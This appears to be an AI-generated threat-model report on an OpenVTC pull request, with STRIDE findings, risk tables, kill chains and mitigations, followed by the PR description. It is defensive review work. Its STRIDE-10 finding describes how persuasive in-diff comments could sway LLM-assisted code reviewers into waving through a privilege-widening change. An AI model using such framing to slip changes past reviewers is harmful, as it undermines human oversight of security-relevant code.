- Data Flows: Compiled binary -> TUI hint rendering -> operator shell execution
Preconditions: Attacker can tamper with the OpenVTC binary, build pipeline, or distribution channel, Operator follows on-screen guidance without independently cross-checking the DID value against 'openvtc health' output as the comment suggests
Existing Controls: Comment instructs operators to cross-check via 'openvtc health' command • Hint text is a compile-time constant, not dynamically fetched from a remote/untrusted source at runtime
Recommended Mitigations: Sign and verify OpenVTC release binaries (supply-chain integrity) • Dynamically fetch/display the install DID directly from a verified local source and cross-check against the hint at render time, alerting if mismatched • Add a confirmation step requiring the operator to explicitly acknowledge the capability being granted before treating the hint as actionable
🔵 STRIDE-7: Race Condition Between Error State Read and Render in push_agent_state
| Field | Detail |
|---|---|
| Category | Tampering |
| Severity | Low |
| Likelihood | Unlikely |
| CVSS | 2.5 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | None |
| CWE | CWE-362 |
| CAPEC | CAPEC-25 |
| OWASP | A04:2021 - Insecure Design |
Description: push_agent_state in personas_panel.rs (COMP-001) allows a stale-state rendering issue due to load_error being read and matched against needs_holder_grant without synchronization guarantees against concurrent state updates, resulting in the operator potentially seeing a hint that no longer corresponds to the current agent error state (e.g., a resolved error still showing the escalation hint on a stale re-render).
Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:652-665
if needs_holder_grant(error) { for line in HOLDER_GRANT_HINT { lines.push(...) } }
Attack Scenario:
- The PersonasState.load_error field is updated by an async agent-response handler while the render loop concurrently calls push_agent_state.
- If the UI re-render is triggered on a stale snapshot of state (depending on the surrounding event loop's synchronization, not shown in this diff), needs_holder_grant(error) could evaluate an error string that has since been superseded by a newer, unrelated error or a success state.
- The operator sees the persona-holder grant hint displayed alongside outdated or mismatched context, prompting an unnecessary or premature capability escalation.
- Absent explicit atomic state transitions, this creates a race window where UI guidance and actual agent state diverge, and the operator may act on outdated advice.
🔎 Threat Clue: Derived from COMP-001 via EP-001
- Data Flows: PersonasState.load_error -> push_agent_state -> render
Preconditions: Underlying state management does not guarantee atomic read of load_error relative to concurrent updates, Rendering occurs on a background thread or async task racing with state mutation
Existing Controls: Rust's ownership/borrowing model at compile time likely prevents unsynchronized concurrent mutable access at the type level (mitigating factor, not fully verifiable from this diff alone)
Recommended Mitigations: Ensure load_error and derived hint decisions are computed from a single atomic state snapshot per render pass • Add integration tests simulating concurrent state transitions during render
🟡 STRIDE-8: Missing Capability Expiry Guidance for persona-holder Grant Enables Long-Lived Elevated Credential
| Field | Detail |
|---|---|
| Category | Elevation of Privilege, Denial of Service |
| Severity | Medium |
| Likelihood | Likely |
| CVSS | 5.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Medium |
| CWE | CWE-613,CWE-672 |
| CAPEC | CAPEC-21 |
| OWASP | A01:2021 - Broken Access Control |
Description: The generated pnm command and HOLDER_GRANT_HINT in COMP-002/COMP-003 allow indefinite privilege retention due to specifying --admin-expires 1h only for the context-scoped admin entry while providing no expiry/TTL guidance for the persona-holder capability, resulting in the potentially more sensitive cross-context capability persisting indefinitely with no built-in rotation or revocation reminder.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:258-261
"--admin-did {setup_did} --admin-expires 1h --admin-holder"
Attack Scenario:
- The operator runs the generated 'pnm contexts create ... --admin-expires 1h --admin-holder' command; the 1h expiry likely applies only to the context-scoped admin entry, not the persona-holder capability grant itself, per the pnm ACL model referenced in code comments.
- Because no expiry is set for persona-holder, the capability remains valid indefinitely (subject to external pnm defaults not visible in this repo).
- If the setup_did's key material is later compromised (e.g., stored insecurely on disk, or leaked via STRIDE-5's exposure vector), the attacker retains persistent cross-context holder authority long after the original 1-hour admin window has lapsed.
- Neither the CHANGELOG, HOLDER_GRANT_HINT, nor build_pnm_command surfaces any reminder to periodically rotate or revoke the persona-holder grant, so operators have no prompt to limit long-term exposure.
- This creates a persistent elevated-privilege identity that could be leveraged well beyond the intended one-time setup window, and revoking it requires operator awareness that is not reinforced by the tool.
🔎 Threat Clue: Derived from COMP-003 via EP-003
- Data Flows: Setup command execution -> pnm ACL store (long-lived grant)
Preconditions: pnm's ACL model does not automatically expire persona-holder capability independent of the context-admin entry, Operator has no external reminder/process to rotate or revoke the grant
Existing Controls: --admin-expires 1h exists for the context-scoped admin portion (partial mitigation, scope unclear)
Recommended Mitigations: Extend --admin-expires (or an equivalent flag) to also bound the persona-holder capability lifetime, if supported by pnm • Add explicit guidance in the hint text and CHANGELOG about rotating/revoking the persona-holder grant • Provide a follow-up reminder mechanism (e.g., periodic health-check warning) if the grant has existed beyond a recommended duration
🔵 STRIDE-9: False-Negative Suppression of Security-Relevant Hint via Overly-Narrow Phrase Match
| Field | Detail |
|---|---|
| Category | Denial of Service, Information Disclosure |
| Severity | Low |
| Likelihood | Possible |
| CVSS | 2.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-1069,CWE-693 |
| CAPEC | CAPEC-664 |
| OWASP | A04:2021 - Insecure Design |
Description: needs_holder_grant in personas_panel.rs (COMP-001) allows silent failure-to-warn due to matching only the exact phrases 'holder credential' and 'persona-holder', resulting in future or alternate agent error message wording (e.g., localized strings, refactored error text, or a differently-worded VTA release) causing the operator to receive no remediation hint despite having the same underlying authorization gap.
Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700-709
e.contains("holder credential") || e.contains("persona-holder")
Attack Scenario:
- A future version of the VTA agent (or a differently configured/localized agent) changes its authorization-refusal error wording to something semantically equivalent but lexically different, e.g. 'insufficient identity scope' instead of 'holder credential'.
- needs_holder_grant's strict substring match fails to detect this new phrasing since it only checks for 'holder credential' or 'persona-holder'.
- The operator repeatedly encounters the Attributes/Profiles/Disclosures load failure with no HOLDER_GRANT_HINT displayed, leaving them without guidance on the fix.
- The operator may escalate support tickets, misdiagnose the issue as a bug, or attempt unrelated and potentially more permissive remediation steps (e.g., granting broader admin than necessary) out of frustration, indirectly increasing exposure.
- This represents an availability/usability regression that could indirectly drive risky operator behavior, and is a maintenance/coupling risk since the UI's correctness is silently coupled to exact upstream agent wording with no contract or versioned error-code alternative.
🔎 Threat Clue: Derived from COMP-001 via EP-001
- Data Flows: VTA agent error text -> needs_holder_grant -> hint suppression
Preconditions: Upstream VTA agent error message wording changes without a corresponding OpenVTC code update, No structured error code fallback exists
Existing Controls: Comment explicitly acknowledges both current and pre-capability VTA wording are handled • Design tradeoff documented: false negative preferred over false positive
Recommended Mitigations: Coordinate a structured/versioned error code contract with the VTA agent team rather than relying on free-text matching • Add a fallback generic hint for any 'access denied'-style error suggesting the operator check capability grants, distinct from the specific persona-holder hint • Add integration/contract tests against the actual VTA agent's current error strings, not just hardcoded fixtures
⚪ STRIDE-10: Prompt-Injection-Style Embedded Instructions in Source Comments and CHANGELOG as Supply-Chain/Review-Evasion Vector
| Field | Detail |
|---|---|
| Category | Tampering, Elevation of Privilege |
| Severity | Informational |
| Likelihood | Unlikely |
| CVSS | 1.0 CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | None |
| CWE | CWE-1104 |
| CAPEC | CAPEC-148 |
| OWASP | A04:2021 - Insecure Design |
Description: Source code comments and CHANGELOG entries in this PR allow a narrative-manipulation review-evasion pattern due to extensive natural-language justification text embedded directly adjacent to the privilege-widening code change, resulting in a risk that human or automated reviewers (including AI-assisted code review tools) could be primed to accept the --admin-holder scope expansion as self-evidently correct without independent security scrutiny.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:249-259
// It is not a way around that boundary; it is the grant the boundary was
// always waiting for. ...
Attack Scenario:
- The PR author (or a malicious contributor mimicking this style in a future PR) embeds a lengthy, persuasive, first-person-style rationale directly in code comments immediately preceding a privilege-scope-widening line (e.g., 'It is not a way around that boundary; it is the grant the boundary was always waiting for.').
- A human reviewer, or an LLM-based automated code-review/security-scanning tool, processes the diff and is influenced by the persuasive framing to treat the --admin-holder addition as benign/intended rather than flagging it as a privilege escalation requiring deeper scrutiny.
- In a future malicious variant of this pattern, an attacker submitting a PR could embed similarly confident, well-reasoned-sounding comments to justify an actually unwarranted scope expansion, exploiting reviewer trust in eloquent surrounding prose.
- If review processes rely partly on automated/LLM-assisted triage that treats in-diff commentary as authoritative context rather than untrusted claims, the persuasive text could suppress appropriate findings.
- This is not an exploitable code vulnerability in this specific PR (the rationale given appears accurate per the linked issue), but it demonstrates a review-process weakness pattern worth flagging: security-relevant scope changes should be evaluated independently of accompanying narrative justification.
🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003
- Data Flows: PR diff/comments -> code review process
Preconditions: Review process (human or automated) gives undue weight to in-code narrative justification for security-relevant changes, No independent policy-based gate requiring explicit security sign-off for capability-scope-widening changes regardless of comment quality
Existing Controls: This analysis treats all in-diff text strictly as data per security directive, and independently evaluated the --admin-holder change on its technical merits • Linked issue reference (verifiable-trust-infrastructure#1286) provides external traceability
Recommended Mitigations: Establish a policy requiring explicit, separate security review sign-off for any change that adds admin/holder/elevated-capability flags, independent of accompanying prose • Train reviewers and configure automated tools to flag privilege-scope changes for mandatory escalation regardless of surrounding justification quality • Require linked-issue verification (e.g., confirm #1286 actually authorizes this specific scope) as a structured checklist item rather than relying on narrative alone
🍝 PASTA Threat Model
Application Purpose
OpenVTC is a terminal UI client for a Verifiable Trust Agent (VTA), enabling operators to set up trust contexts and manage holder identity (personas, attributes, profiles, disclosures) by generating and displaying pnm CLI commands that provision ACL grants on an external agent.
Inherent Risks
- The application generates privileged CLI commands that operators execute out-of-band, creating a trust gap between what the UI displays and what is actually executed.
- Actual authorization enforcement lives entirely in the external pnm/VTA agent, outside this codebase's control or visibility.
- The TUI has no mechanism to verify that displayed commands were executed as intended or to audit resulting privilege changes.
Objectives
Risk: Limit blast radius of any single compromised setup DID or install credential; Avoid unconditional grants of cross-context authority
Business: Simplify onboarding of OpenVTC installs by auto-generating correct ACL setup commands; Reduce support burden from cryptic agent authorization failures
Security: Apply least-privilege defaults when generating ACL grant commands; Prevent injection or tampering in generated commands; Maintain auditability of privilege-elevation guidance shown to operators
Financial: Avoid costly security incidents stemming from over-broad default privilege grants
Compliance: Support least-privilege and access-review requirements potentially mandated by identity/verifiable-credential governance frameworks
Functional: Generate a syntactically correct, pasteable pnm contexts create command with appropriate scope; Detect holder-authority-related failures and surface actionable remediation guidance
Operational: Ensure setup flow works reliably across VTA agent versions with differing error wording; Minimize operator support tickets related to authorization failures
Business Impact Analysis (2)
BIA-1: Operator-Driven Trust Context Setup and ACL Provisioning (High)
Operators run the OpenVTC setup wizard to generate and execute a pnm command that provisions a trust context and grants administrative/holder capabilities to a newly created setup identity.
MTD: 01 days 00:00 hours | RTO: 00 days 04:00 hours | RPO: 00 days 01:00 hours
- Stakeholders: Compliance Auditors / End-User Holders / OpenVTC Maintainers / Operators / VTA Agent Administrators
- Dependencies: EphemeralSetupKey Generation / OpenVTC TUI Setup Flow / pnm CLI / VTA Agent ACL Subsystem
- Disruptions: Operator pastes a tampered or injected command into their shell / Operator grants unconditional persona-holder authority without understanding scope / Setup DID or key material is leaked, compromising cross-context identity authority
- Impacts: Unauthorized cross-context access to holder identity, attribute pool, and profiles / Compliance violations under identity-governance frameworks requiring least-privilege access / Reputational damage if a breach traces back to an over-broad default grant / Operational cost of revoking and re-provisioning compromised grants
BIA-2: Personas Panel Error Remediation Guidance (Medium)
Operators encountering authorization failures on the Attributes/Profiles/Disclosures tabs rely on the personas panel's heuristic hint to determine the correct remediation command.
MTD: 03 days 00:00 hours | RTO: 01 days 00:00 hours | RPO: N/A
- Stakeholders: End-User Holders / Operators / Support/Helpdesk Teams
- Dependencies: needs_holder_grant Heuristic / VTA Agent Error Reporting / personas_panel Rendering
- Disruptions: Heuristic misfires due to changed agent error wording, leaving operators without guidance / Spoofed or manipulated agent error text triggers unwarranted escalation hint
- Impacts: Increased support ticket volume / Operator confusion leading to ad-hoc, potentially over-broad remediation actions / Delayed resolution of legitimate authorization gaps
Technical Scope
Roles (3): RO-1 Setup Operator · RO-2 Holder · RO-3 VTA Agent Administrator
Actors (3): AC-1 OpenVTC Operator · AC-2 VTA Agent Process · AC-3 pnm CLI Process
Entry Points (4): EP-001 Personas Panel Error Hint Render · EP-002 Build pnm Setup Command · EP-003 Operator-Executed pnm contexts create Command · EP-004 Operator-Executed pnm acl update Hint Command
Threat Actors (3): TA-1 Malicious Insider / Compromised Operator Session · TA-2 Supply-Chain Attacker · TA-3 Compromised/Malicious VTA Agent Operator
Infrastructure (1): IF-1 Operator Local Terminal Environment
Trust Boundaries (3): TB-1 OpenVTC TUI Process Boundary · TB-2 Operator Shell / Copy-Paste Boundary · TB-3 VTA Agent / pnm ACL Boundary
External Entities (2): EE-1 VTA Agent · EE-2 pnm CLI Tool
System Components (3): COMP-001 personas_panel (Attributes/Profiles/Disclosures rendering + hint heuristic) · COMP-002 vta_acl_instructions::build_pnm_command · COMP-003 External pnm CLI / VTA Agent ACL Subsystem
Resources And Assets (3): RA-1 Setup DID and Ephemeral Setup Key · RA-2 persona-holder Capability Grant · RA-3 Agent Error Text (load_error)
Technologies And Dependencies (2): TD-1 ratatui · TD-2 vta_sdk
Use Cases (2)
- Operator Completes Initial Trust Context Setup: An operator runs the OpenVTC setup wizard, which generates a pnm contexts create command scoped to the new context and including the persona-holder capability, which the operator then executes against
- Operator Remediates Identity Pane Authorization Failure: An operator viewing the Attributes, Profiles, or Disclosures tab encounters an authorization failure from the VTA agent; the personas panel recognizes the failure as holder-authority-related and displ
📋 Risk Registry (6)
| ID | Title | Severity | Residual | Priority | Effort |
|---|---|---|---|---|---|
| RISK-001 | Default unconditional grant of cross-context persona-holder authority during setup expands attacker blast radius if the setup identity is compromised. | High | Medium | Short-Term | Medium |
| RISK-002 | Lack of input sanitization on operator-typed context ID enables shell command injection when the generated command is pasted verbatim. | Medium | Low | Immediate | Low |
| RISK-003 | Fragile substring-based heuristic for detecting holder-authority errors can be spoofed, suppressed, or become stale as upstream agent error wording evolves. | Low | Low | Medium-Term | Medium |
| RISK-004 | No local audit trail correlates the OpenVTC-displayed privilege-elevation guidance with subsequent operator actions on the external agent. | Medium | Low | Medium-Term | Low |
| RISK-005 | Plaintext display of the setup DID within a now higher-value (persona-holder-scoped) command increases the impact of shoulder-surfing or screen-capture exposure. | Medium | Low | Short-Term | Low |
| RISK-006 | Reviewer and tooling trust in persuasive in-diff narrative justification could suppress appropriate scrutiny of future privilege-scope-widening changes. | Low | None | Long-Term | Low |
⚔️ Attack Scenarios (3)
COMP-002: vta_acl_instructions::build_pnm_command
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL5["1. Threat Actors"]
direction LR
TA1@{ shape: rect, label: "TA-1: Malicious Insider / Compromised Operator Session<br><i>Gain unauthorized cross-context access</i>" }
TA2@{ shape: rect, label: "TA-2: Supply-Chain Attacker<br><i>Tamper build to redirect grants</i>" }
end
subgraph SL4["2. Threats"]
direction LR
S1@{ shape: rect, label: "STRIDE-1: Unconditional Scope Widening<br><i>High / Likely</i>" }
S2@{ shape: rect, label: "STRIDE-2: Command Injection via Unsanitized Context ID<br><i>Medium / Possible</i>" }
S8@{ shape: rect, label: "STRIDE-8: Missing Capability Expiry Guidance<br><i>Medium / Likely</i>" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC122@{ shape: rect, label: "CAPEC-122: Privilege Abuse" }
CAPEC88@{ shape: rect, label: "CAPEC-88: OS Command Injection" }
CAPEC21@{ shape: rect, label: "CAPEC-21: Exploitation of Trusted Credentials" }
end
subgraph SL2["4. Weaknesses"]
direction LR
CWE269@{ shape: rect, label: "CWE-269: Improper Privilege Management" }
CWE78@{ shape: rect, label: "CWE-78: OS Command Injection" }
CWE613@{ shape: rect, label: "CWE-613: Insufficient Session/Grant Expiration" }
end
subgraph SL1["5. System Component"]
direction LR
SC1@{ shape: rect, label: "COMP-002: build_pnm_command" }
end
TA1 --> S1
TA2 --> S2
TA1 --> S8
S1 --> CAPEC122
S2 --> CAPEC88
S8 --> CAPEC21
CAPEC122 --> CWE269
CAPEC88 --> CWE78
CAPEC21 --> CWE613
CWE269 --> SC1
CWE78 --> SC1
CWE613 --> SC1
linkStyle 0 stroke:#FF0000, stroke-width:2px
linkStyle 1 stroke:#FFA500, stroke-width:2px
linkStyle 2 stroke:#FFA500, stroke-width:2px
linkStyle 3 stroke:#FF0000, stroke-width:2px
linkStyle 4 stroke:#FFA500, stroke-width:2px
linkStyle 5 stroke:#FFA500, stroke-width:2px
linkStyle 6 stroke:#FF0000, stroke-width:2px
linkStyle 7 stroke:#FFA500, stroke-width:2px
linkStyle 8 stroke:#FFA500, stroke-width:2px
linkStyle 9 stroke:#FF0000, stroke-width:2px
linkStyle 10 stroke:#FFA500, stroke-width:2px
linkStyle 11 stroke:#FFA500, stroke-width:2px
COMP-001: personas_panel (needs_holder_grant / push_agent_state)
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL5["1. Threat Actors"]
direction LR
TA3@{ shape: rect, label: "TA-3: Compromised/Malicious VTA Agent Operator<br><i>Spoof agent error text</i>" }
TA2@{ shape: rect, label: "TA-2: Supply-Chain Attacker<br><i>Tamper build to alter hints</i>" }
end
subgraph SL4["2. Threats"]
direction LR
S3@{ shape: rect, label: "STRIDE-3: Substring-Based Error Matching Spoofable<br><i>Low / Possible</i>" }
S6@{ shape: rect, label: "STRIDE-6: Operator Social Engineering via Hint<br><i>Low / Possible</i>" }
S9@{ shape: rect, label: "STRIDE-9: False-Negative Suppression of Hint<br><i>Low / Possible</i>" }
S4@{ shape: rect, label: "STRIDE-4: No Audit Trail for Privilege-Elevation<br><i>Medium / Likely</i>" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC148@{ shape: rect, label: "CAPEC-148: Content Spoofing" }
CAPEC438@{ shape: rect, label: "CAPEC-438: Modification During Manufacture" }
CAPEC664@{ shape: rect, label: "CAPEC-664: Server Side Request Forgery-style Contract Drift" }
CAPEC268@{ shape: rect, label: "CAPEC-268: Audit Log Manipulation" }
end
subgraph SL2["4. Weaknesses"]
direction LR
CWE697@{ shape: rect, label: "CWE-697: Incorrect Comparison" }
CWE829@{ shape: rect, label: "CWE-829: Inclusion of Untrusted Functionality" }
CWE1069@{ shape: rect, label: "CWE-1069: Empty/Missing Error Handling Contract" }
CWE778@{ shape: rect, label: "CWE-778: Insufficient Logging" }
end
subgraph SL1["5. System Component"]
direction LR
SC2@{ shape: rect, label: "COMP-001: personas_panel" }
end
TA3 --> S3
TA2 --> S6
TA3 --> S9
TA3 --> S4
S3 --> CAPEC148
S6 --> CAPEC438
S9 --> CAPEC664
S4 --> CAPEC268
CAPEC148 --> CWE697
CAPEC438 --> CWE829
CAPEC664 --> CWE1069
CAPEC268 --> CWE778
CWE697 --> SC2
CWE829 --> SC2
CWE1069 --> SC2
CWE778 --> SC2
linkStyle 0 stroke:#00FF00, stroke-width:2px
linkStyle 1 stroke:#00FF00, stroke-width:2px
linkStyle 2 stroke:#00FF00, stroke-width:2px
linkStyle 3 stroke:#FFA500, stroke-width:2px
linkStyle 4 stroke:#00FF00, stroke-width:2px
linkStyle 5 stroke:#00FF00, stroke-width:2px
linkStyle 6 stroke:#00FF00, stroke-width:2px
linkStyle 7 stroke:#FFA500, stroke-width:2px
linkStyle 8 stroke:#00FF00, stroke-width:2px
linkStyle 9 stroke:#00FF00, stroke-width:2px
linkStyle 10 stroke:#00FF00, stroke-width:2px
linkStyle 11 stroke:#FFA500, stroke-width:2px
linkStyle 12 stroke:#00FF00, stroke-width:2px
linkStyle 13 stroke:#00FF00, stroke-width:2px
linkStyle 14 stroke:#00FF00, stroke-width:2px
linkStyle 15 stroke:#FFA500, stroke-width:2px
COMP-003: External pnm CLI / VTA Agent ACL Subsystem
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL5["1. Threat Actors"]
direction LR
TA1@{ shape: rect, label: "TA-1: Malicious Insider / Compromised Operator Session<br><i>Gain unauthorized cross-context access</i>" }
end
subgraph SL4["2. Threats"]
direction LR
S5@{ shape: rect, label: "STRIDE-5: Setup DID and Key Disclosure<br><i>Medium / Possible</i>" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC651@{ shape: rect, label: "CAPEC-651: Eavesdropping" }
end
subgraph SL2["4. Weaknesses"]
direction LR
CWE200@{ shape: rect, label: "CWE-200: Exposure of Sensitive Information" }
end
subgraph SL1["5. System Component"]
direction LR
SC3@{ shape: rect, label: "COMP-003: pnm CLI / VTA Agent ACL Subsystem" }
end
TA1 --> S5
S5 --> CAPEC651
CAPEC651 --> CWE200
CWE200 --> SC3
linkStyle 0 stroke:#FFA500, stroke-width:2px
linkStyle 1 stroke:#FFA500, stroke-width:2px
linkStyle 2 stroke:#FFA500, stroke-width:2px
linkStyle 3 stroke:#FFA500, stroke-width:2px
📊 Risk Summary
Total Threats: 10
By Severity: Low: 4 · High: 1 · Medium: 4 · Informational: 1
By Category: Tampering: 5 · Elevation of Privilege: 5 · Spoofing: 2 · Repudiation: 1 · Information Disclosure: 2 · Denial of Service: 2
🎯 Attack Surface
Kill Chain 1: An attacker who gains any visibility into the operator's terminal during setup (shoulder-surfing, screen-share, or a compromised terminal multiplexer) can capture the setup DID displayed by build_pnm_command (STRIDE-5); because this PR unconditionally appends --admin-holder (STRIDE-1), that captured DID is now bound to cross-context persona-holder authority rather than single-context admin, and because no expiry is documented for that capability (STRIDE-8), the exposure has an effectively unbounded window of usefulness to the attacker. Kill Chain 2: A malicious or compromised context-ID input (e.g., from a shared terminal or scripted setup) could inject shell metacharacters into the generated command (STRIDE-2); if an operator pastes the string without character-by-character review — the very workflow this PR's own tests assume is safe — the injected payload executes with the operator's privileges in the same step that provisions the elevated ACL grant, chaining a low-severity injection into full local compromise concurrent with a privilege-escalation event. Kill Chain 3: A compromised or MITM'd VTA agent can spoof error text containing the phrase 'holder credential' (STRIDE-3) to trigger the HOLDER_GRANT_HINT even when no genuine authorization gap exists, manipulating a trusting operator (STRIDE-6) into running 'pnm acl update --capabilities persona-holder' for a DID the attacker controls or has influenced, achieving elevation of privilege without ever touching OpenVTC's own code — a pure social-engineering chain enabled by weak error provenance and no structured error contract (STRIDE-9). Kill Chain 4: Because no local audit trail exists (STRIDE-4), any of the above three chains can proceed with minimal forensic trace inside OpenVTC itself; investigators would have to rely entirely on external pnm-side logs, and given the ambiguity of operator intent versus tool guidance, attribution and containment are both delayed, extending the effective dwell time of any resulting compromise.
🛡️ Risk Mitigation Strategy
Priority 1 (Immediate): Sanitize or allow-list the operator-typed context ID before interpolation into the generated pnm command to eliminate the shell-injection vector (RISK-002); this is a low-effort, high-value fix isolated to build_pnm_command and should ship before any further changes to this module. Priority 2 (Short-Term): Convert the --admin-holder flag from unconditional to an explicit, confirmed opt-in with clear on-screen scope explanation, and add an expiry mechanism for the persona-holder capability equivalent to the existing --admin-expires bound on context admin (RISK-001); additionally, reduce the plaintext exposure of the setup DID by truncating the on-screen display with a reveal-on-demand mechanism (RISK-005), since both changes directly shrink the blast radius of the highest-severity finding in this PR. Priority 3 (Medium-Term): Replace the free-text substring heuristic in needs_holder_grant with a structured, versioned error-code contract negotiated with the VTA agent team, closing both the spoofability and staleness gaps identified (RISK-003), and add local structured logging correlating displayed hints/commands with session context to close the audit-trail gap (RISK-004) — these require coordination with the external agent team and moderate engineering effort but meaningfully improve both integrity and non-repudiation. Priority 4 (Long-Term): Institute a standing code-review policy requiring independent, checklist-driven security sign-off for any change that widens ACL/capability scope, explicitly decoupled from the persuasiveness of accompanying code comments or changelog narrative (RISK-006); this addresses a process-level gap rather than a code defect and should be paired with reviewer/tooling guidance to treat in-diff commentary as context, not justification, for security-relevant changes.
Generated by Agentic Sec — Threat Model & Affect Analysis Agent
📊 Summary & findings
| ✅ Confirmed | |
|---|---|
| 1 | 2 |
Confirmed (1)
- 🟡 Elevation of Privilege via broad --admin-holder grant on setup command (triaged HIGH→MEDIUM)
Must-Review-By-Human (2)
- 🟡 Sensitive error messages containing credential/authorization details displayed in UI
- 🟡 Naive substring matching on untrusted agent error text drives security-relevant UI hint (triaged LOW→MEDIUM)
Splits the functional half out of #278, so it isn't waiting on a vocabulary
decision. No naming changes here — this is the reason most of the pane
shipped in #277 cannot work.
The problem
Setup provisions a context-scoped admin —
pnm contexts create --admin-didwrites
allowed_contexts: ["openvtc"]— while the attribute pool, the profilesover it and the disclosure history are gated on an unscoped holder
credential, because they sit above every trust context.
So Attributes, Profiles and Disclosures are refused on every install today.
Correctly: the gate is the boundary working. But the only way to satisfy it was
to make OpenVTC an administrator of every context on the agent — a real
escalation for a community client, and not something to document as the happy
path.
The fix
Upstream, verifiable-trust-infrastructure#1286 adds
Capability::PersonaHolder: granted by name, conferred only by a super admin,and additive — it grants authority over the holder's own identity without
granting authority over other contexts.
Here:
--admin-holder;than only the agent's (accurate, abstract) explanation. It matches the phrase
both the current and the pre-capability VTA use, so either agent produces the
hint — and matches that phrase rather than "forbidden", because a false
positive sends someone to fix something that is not their problem;
another terminal, and a mangled string literal — a run of spaces where a line
continuation collapsed — is invisible in review and survives to the operator's
shell. One had already got in while writing this.
Merge order
Harmless before #1286:
--admin-holderis refused by an older VTA with a clearerror, and the pane behaves exactly as it does today. Useful after it.
Pre-merge checklist (vti-stack-development-guide §9)
cargo test --workspacegreen (425 in the binary), clippy clean.